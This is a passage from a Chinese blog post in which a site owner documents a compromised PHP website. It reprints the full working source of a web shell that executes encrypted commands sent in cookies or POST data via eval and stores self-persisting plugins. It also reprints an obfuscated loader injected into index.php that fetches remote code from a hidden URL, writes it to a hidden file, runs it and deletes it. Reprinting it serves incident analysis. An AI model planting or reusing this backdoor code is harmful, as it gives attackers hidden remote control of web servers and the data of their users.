        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_get_plugin_config()
    {
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
        }
        else
        {
            $plugins = Array();
        }

        return $plugins;
    }

    function cs_set_plugin_config($plugins)
    {
        $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        }
        else
        {
            $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
        }

        @file_put_contents(cs_get_current_filepath(), $self_content);
    }

    function cs_plugin_add($name, $base64_data)
    {
        $plugins = cs_get_plugin_config();

        $plugins[$name] = base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_rem($name)
    {
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_load($name=NULL)
    {
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];
        
    }

    cs_plugin_load();
}


另外,网站的主index.php在文件头被增加如下代码:

@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5'; $pass = "Zgc5c4MXrKkzcAAPsZRGZv2dPRfXN70cmCWIX7HVoQ==";
if (ini_get('allow_url_fopen')) {
    function get_data_ya($url) {
        $data = file_get_contents($url);
        return $data;
    }
}
else {
    function get_data_ya($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
function wp_cd($fd, $fa="")
{
   $fe = "wp_frmfunct";
   $len = strlen($fd);
   $ff = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($ff)<$len )
   {
      $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
   }
   return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
  if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
  $subdirs = glob("$dira/*", GLOB_ONLYDIR);
  foreach ($subdirs as $subdira) {
    if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
  }
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}


还在每一个目录下面生成 .well-known文件夹,下面有空白的acme-challenge子目录,用于Let’s Encrypt设置免费SSL服务证书验证使用,可见Hacker会通过https连接到后台服务器。

时间上看,原文件时间各异,但新文件时间都在2017年1月3日11:59。

最后编辑: Richard 编辑于2017/07/27 02:35
Tags: , ,
发表评论
表情
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
打开HTML
打开UBB
打开表情
隐藏
昵称   密码   游客无需密码
网址   电邮   [注册]